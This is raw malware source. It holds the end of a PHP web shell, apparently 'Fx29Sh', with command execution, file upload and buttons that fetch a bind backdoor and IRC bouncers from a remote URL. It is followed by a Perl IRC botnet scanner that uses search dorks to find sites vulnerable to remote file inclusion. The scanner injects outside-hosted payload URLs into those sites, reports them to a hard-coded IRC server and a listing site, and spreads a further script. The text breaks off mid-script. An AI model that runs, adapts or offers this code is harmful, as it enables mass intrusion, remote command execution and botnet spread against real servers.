"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/
hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////
AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/
wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAIABAAAAAP///
ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
"aGeyYpqJlRG/rlwAADs=",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/
vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/
OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5
/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/
wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/
wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/
AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///
wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/
DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////
AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///
wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/
wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/
PIGJboKBQkGPkEEQ".
"IQA7"
);
//Untuk optimalisasi ukuran dan kecepatan.
$imgequals = array(
"ext_tar"=>array
("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array
("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array
("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array
("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array
("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k;
break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]);
}
else {
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!
empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\"
border=\"1\"><br>";}
echo "</center>";
}
exit;
}
if ($act == "about") {
echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>
tristram [CCTeaM]</b><br>".
"Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>
".
"Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz
CoMMuNiTy]</b><br><br>".
"Please report bugs to <a href=\"mailto:feelcomz@gmail.com\">
FaTaLisTiCz_Fx</a></b>";
}
echo "</td></tr></table>\n";
/*** COMMANDS PANEL ***/
?>
<div class=bartitle><b>.: COMMANDS PANEL :.</b></div>
<table class=mainpanel>
<?php
if (!$safemode) {
?>
<tr><td align=right>Command:</td>
<td><form method="POST">
<input type=hidden name=act value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="cmd" size="100" value="<?php echo
htmlspecialchars($cmd); ?>">
<input type=hidden name="cmd_txt" value="1"> <input type=submit name=
submit value="Execute">
</form>
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
<input type=hidden name=act value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type=hidden name="cmd_txt" value="1">
<select name="cmd">
<?php
foreach ($cmdaliases as $als) {
echo "<option value=\"".htmlspecialchars($als[1])."\">
".htmlspecialchars($als[0])."</option>";
}
foreach ($cmdaliases2 as $als) {
echo "<option value=\"".htmlspecialchars($als[1])."\">
".htmlspecialchars($als[0])."</option>";
}
?>
</select> <input type=submit name=submit value="Execute">
</form>
</td></tr>
<?php
}
?>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
<input type=hidden name=act value="upload">
<input type=hidden name="miniform" value="1">
<input type="file" name="uploadfile"> <input type=submit name=submit
value="Upload"> <?php echo $wdt." Max size: ". @ini_get
("upload_max_filesize")."B"; ?>
</form>
</td></tr>
<?php /* FaTaLisTiCz_Fx TriCkz */ ?>
<script language="javascript">
function set_arg(txt1,txt2) {
document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
document.forms.fphpfsys.arg1.value = txt1;
document.forms.fphpfsys.arg2.value = txt2;
}
</script>
<tr><td align=right>PHP Filesystem:</td>
<td><form name="fphpfsys" method="POST"><input type=hidden name=act value
="phpfsys"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<select name="phpfsysfunc">
<?php
foreach ($phpfsaliases as $als) {
if ($als[1]==$phpfsysfunc) { echo "<option selected value=\"".$als
[1]."\">".$als[0]."</option>"; }
else { echo "<option value=\"".$als[1]."\">".$als[0]."</option>";
}
}
?>
</select>
File/Dir/URL: <input type="text" name="arg1" size="40" value="<?php
echo htmlspecialchars($arg1); ?>">
To/Max: <input type="text" name="arg2" size="50" value="<?php echo
htmlspecialchars($arg2); ?>">
<input type=submit name=submit value="Execute"><hr noshade size=1>
<input type=button value="Fx29Sh" onclick="set_arg('<?php echo
$sh_mainurl."cyberz.txt"; ?>','cyberz.php')">
<input type=button value="Binddoor" onclick="set_arg('<?php echo
$sh_mainurl."bind.tgz"; ?>','bind.tgz')">
<input type=button value="psyBNC" onclick="set_arg('<?php echo
$sh_mainurl."fx.tgz"; ?>','fx.tgz')">
<input type=button value="Eggdrop" onclick="set_arg('<?php echo
$sh_mainurl."fxb.tgz"; ?>','fxb.tgz')">
</form>
</td></tr>
<tr><td align=right>Search File:</td>
<td><form method="POST"><input type=hidden name=act value="search"><input
type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="search_name" size="29" value="(.*)">&nbsp;
<input type="checkbox" name="search_name_regexp" value="1" checked> -
regexp&nbsp;
<input type=submit name=submit value="Search">
</form>
</td></tr>
<tr><td align=right>Make File:</td>
<td><form method="POST"><input type=hidden name=act value="mkfile"><input
type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name=
"ft" value="edit">
<input type="text" name="mkfile" size="70" value="<?php echo $dispd;
?>"> <input type=submit value="Create"> <?php echo $wdt; ?>
</form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=act value="gofile"><input
type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="f" size="70" value="<?php echo $dispd; ?>">
<input type=submit value="View">
</form></td></tr>
</table>
<div class=bartitle colspan=2><font color=white>.:[ By FaTaLisTiCz_Fx |
FeeLCoMz Community | Generated: <?php echo round(getmicrotime()
-starttime,4); ?> seconds ]:.</font></div>
</body></html>
<?php
/*** FUNCTIONS ***/
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { echo "Shell Commands disabled!"; }
}
return $res;
}
function get_status() {
function showstat($sup,$stat) {
if ($stat=="on") { return "<font color=#00FF00><b>$sup</b></font>"; }
else { return "<font color=#FF9900><b>$sup</b></font>"; }
}
$arrfunc = array(
array("MySQL","mysql_connect"),
array("MSSQL","mssql_connect"),
array("Oracle","ocilogon"),
array("PostgreSQL","pg_connect"),
array("Curl","curl_version"),
);
$arrcmd = array(
array("Fetch","fetch --help"),
array("Wget","wget --help"),
array("Perl","perl -v"),
);
$statinfo = array();
foreach ($arrfunc as $func) {
if (function_exists($func[1])) { $statinfo[] = showstat($func
[0],"on"); }
else { $statinfo[] = showstat($func[0],"off"); }
}
foreach ($arrcmd as $cmd) {
if (ex($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
else { $statinfo[] = showstat($cmd[0],"off"); }
}
return implode(" - ",$statinfo);
}
function getdisfunc() {
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
else { $disablefunc= array(); }
return $disablefunc;
}
function tools() {
echo "List of tools";
}
function sh_name() { global $sh_ver; return base64_decode
("RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=").$sh_ver; }
function htmlhead() {
$html_start = ''.
'<html><head>
<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
<style type="text/css">
<!--
body,table { font:11px verdana;color:white;background-color:black; }
table { width:100%; }
table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;
padding:5px; }
a { color:lightblue;text-decoration:none; }
a:active { color:#00FF00; }
a:link { color:#5B5BFF; }
a:hover { text-decoration:underline; }
a:visited { color:#99CCFF; }
input,select,option { font:8pt tahoma;color:#FFFFFF;margin:2;border:1px
solid #666666; }
textarea { color:#dedbde;font:10pt Courier New;border:1px solid #
666666;margin:2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E;
border-collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#00FF00; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.bartitle { text-align:center; }
#maininfo td { padding:3px; }
.bartitle { padding:5px;border:2px solid #1F1F1F; }
.barheader { font-weight:bold;padding:5px; }
.contents,.explorer { border-collapse:collapse;}
.contents,.explorer td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid #333333; }
.mainpanel input,select,option { border:1px solid #333333;margin:0; }
input[type="submit"],input[type="button"] { border:1px solid #000000; }
input[type="text"] { padding:3px;}
.shell { background-color:#C0C0C0;color:#333399;padding:5px; }
.fxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
#pagebar,.mainpanel,input[type="submit"],input[type="button"] {
background-color:#4A4A4A; }
.bartitle,input,select,option,input[type="submit"]:hover,input[type=
"button"]:hover { background-color:#333333; }
textarea,.mainpanel input[type="text"],input[type="file"],select,option
{ background-color:#000000; }
// -->
</style>
</head>
<body>
<div class=bartitle><h3>'.sh_name().'</h3>.: No System is Perfectly
Safe :.</div>
';
return $html_start;
};
chdir($lastdir); fx29shexit();
?>
#######################################################
# SCAN RFI V.1.0.1 CODATO DA FASTIDIO Edited By BraT #
#######################################################
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
#################
#[Configuration]#
#################
my $linas_max='10';
my $sleep='1';
my $processo ="httpds";
my $cmd="http://xyzkomputery.nazwa.pl/mm/fx29.txt??";
my $id="http://www.mediamatic.cl/presentacion/wut.txt??";
my $spread="http://cg-cars.com/hm.txt??";
my $server="89.46.100.51";
my $porta="3939";
my $nick="[SnK0BRA]-".(int(rand(100)));
my $canale="#n9ne";
my $verbot = "1.5";
my $stringa = "!rfi".(int(rand(100)));
my $adm = "testin";
my $out = "!bye".(int(rand(100)));
my $c0der= "tester"; #Nothing To Say
#################
#[Configuration]#
#################
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>
"$porta",Proto=>"tcp") or die "Cannot connect to the IRC server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER V1 8 * : .::[ 14KobraCrew 7][ 14Scanner 7]::.\r\n";
print $sk "JOIN $canale\r\n";
print $sk "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14KobraCrew RFI
Scanner Launched. Type: 7 ! 14more \r\n";
while($line = <$sk>){
$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}
if ($line=~ /PRIVMSG $canale :$out/){
stampa($sk, "QUIT");
}
if ($line=~ /PRIVMSG $canale :!Turnoff/){
stampa($sk, "QUIT");
}
if ($line=~ /PRIVMSG $canale :!more/){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14RFI Scanner: 7
$verbot 14By 7K 14obra 7C 14rew ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Scanner Command:
7 $stringa 14Bug Dork ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Quit Command: 7
$out 14Admin Only ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Powered BY
NigerianNet ");
}
if ($line=~ /PRIVMSG $canale :!admin/){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14 -= 7 $adm 14=-
");
}
if ( $line =~ /PRIVMSG $canale :!id/)
{ ## ???? Script made by fr1ul^h4ck . Don't remove this comment !
my $testid = $id;
my $req = HTTP::Request->new(GET=>$testid);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
if ( $response->is_success ) {
my $re = $response->content;
if ( $re =~ /BraT/) {
sleep(1);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7W
14orking! ");
}
}
else {
sleep(1);
stampa($sk, "PRIVMSG $canale : 14,1 7[
14KobraCrew 7] 7D 14ead! ");
sleep(2);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14Scanner Will Now
Quit 7 $canale. 14Please Update. ");
stampa($sk, "QUIT :KobraCreW");
}
}
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7 $bug ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7 $dork ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 14 Opening Search
Engines... ");
my @google=&googlet($dork);
push(my @tot, @google);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14 ---
TSearched&TCleaned --- ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14
Total Found: 7 ".scalar(@tot)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14
Total Cleaned: 7 ".scalar(@puliti)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14 Now
Checking Each Site for Vulnerability... ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle: 14 ---
Please Wait --- ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7G 14oogle:
Scanning Done For: 7 $bug $dork ");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /BraT/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
my $poster=HTTP::Request->new(GET=>$punked);
my $resa=$ua->request($poster);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
}
}
elsif($re =~ /BraT/)
{
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
my $poster1=HTTP::Request->new(GET=>$punked1);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 7[ 7 $os 7] 14Free 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 7[ 7 $os 7] 14Free 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
my @alltheweb=&allthewebt($dork);
my @allweb=&standard($dork);
push(my @tot, @alltheweb, @allweb);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
--- TSearched&TCleaned --- ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
Total Found: 7 ".scalar(@tot)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
Total Cleaned: 7 ".scalar(@puliti)." 14sites! ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
Now Checking Each Site for Vulnerability... ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb: 14
--- Please Wait --- ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14lltheweb:
Scanning Done For: 7 $bug $dork ");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /BraT/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
my $poster=HTTP::Request->new(GET=>$punked);
my $resa=$ua->request($poster);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
}
}
elsif($re =~ /BraT/)
{
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
my $poster1=HTTP::Request->new(GET=>$punked1);
my $resa=$ua->request($poster1);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
my @ylist=&yahoo($dork);
my @yalist=&yahooa($dork);
my @yblist=&yahoob($dork);
my @yclist=&yahooc($dork);
my @ydlist=&yahood($dork);
my @yelist=&yahooe($dork);
my @yflist=&yahoof($dork);
my @yglist=&yahoog($dork);
my @yhlist=&yahooh($dork);
my @yilist=&yahooi($dork);
my @yllist=&yahool($dork);
push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist,
@ydlist, @yelist, @yflist, @yglist, @yhlist, @yilist, @yllist );
push(my @tot, @yahoobypass);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14 ---
TSearched&TCleaned --- ");
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14
Total Found: 7 ".scalar(@tot)." 14sites! ");
